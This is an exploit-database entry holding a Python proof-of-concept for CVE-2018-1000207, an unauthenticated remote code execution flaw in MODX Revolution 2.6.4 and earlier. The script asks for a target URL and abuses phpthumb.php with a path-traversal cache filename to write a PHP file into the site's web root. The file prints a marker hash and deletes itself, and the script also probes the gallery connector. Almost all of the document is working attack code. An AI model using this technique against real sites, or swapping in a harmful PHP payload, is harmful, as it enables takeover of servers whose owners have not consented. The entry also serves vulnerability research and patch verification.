1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
# Exploit Title: Modx Revolution < 2.6.4 - Remote Code Execution # Date: 2018-07-13 # Exploit Author: Vitalii Rudnykh # Vendor Homepage: https://modx.com/ # Version: <= 2.6.4 # CVE : CVE-2018-1000207 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys import os import requests from colorama import init, Fore, Style try: init() def cls(): os.system('cls' if os.name == 'nt' else 'clear') cls() print(Fore.BLUE + '################################################################') print(Fore.CYAN + '# Proof-Of-Concept for CVE-2018-1000207 (Modx Revolution)') print('# by Vitalii Rudnykh') print('# Thanks by AgelNash') print('# https://github.com/a2u/CVE-2018-1000207/') print(Fore.BLUE + '################################################################') print('Provided only for educational or information purposes') print(Style.RESET_ALL) target = input('Enter target url (example: http(s)://domain.tld/): ') verify = True code = '<?php echo md5(\'a2u\'); unlink($_SERVER[\'SCRIPT_FILENAME\']);?>' if requests.get( target + '/connectors/system/phpthumb.php', verify=verify).status_code != 404: print(Fore.GREEN + '/connectors/system/phpthumb.php - found') url = target + '/connectors/system/phpthumb.php' payload = { 'ctx': 'web', 'cache_filename': '../../payload.php', 'useRawIMoutput': '1', 'src': '.', 'IMresizedData': code, 'config_prefer_imagemagick': '0' } r = requests.post(url, data=payload, verify=verify) check = requests.get(target + 'payload.php', verify=verify) if check.text == '9bdc11de19fd93975bf9c9ec3dd7292d': print(Fore.GREEN + 'Exploitable!\n') else: print(Fore.RED + 'Not exploitable!\n') else: print(Fore.RED + 'phpthumb.php - not found') if requests.get( target + '/assets/components/gallery/connector.php', verify=verify).status_code != 404: print(Fore.GREEN + '/assets/components/gallery/connector.php - found') url = target + '/assets/components/gallery/connector.php' payload = { 'action': 'web/phpthumb', 'f': 'php', 'useRawIMoutput': '1', 'IMresizedData': 'Ok', 'config_prefer_imagemagick': '0' } r = requests.post(url, data=payload, verify=verify) if r.text == 'Ok': print(Fore.GREEN + 'Exploitable!\n') else: print(Fore.RED + 'Not exploitable!\n') else: print( Fore.RED + '/assets/components/gallery/connector.php - not found') except KeyboardInterrupt: cls() |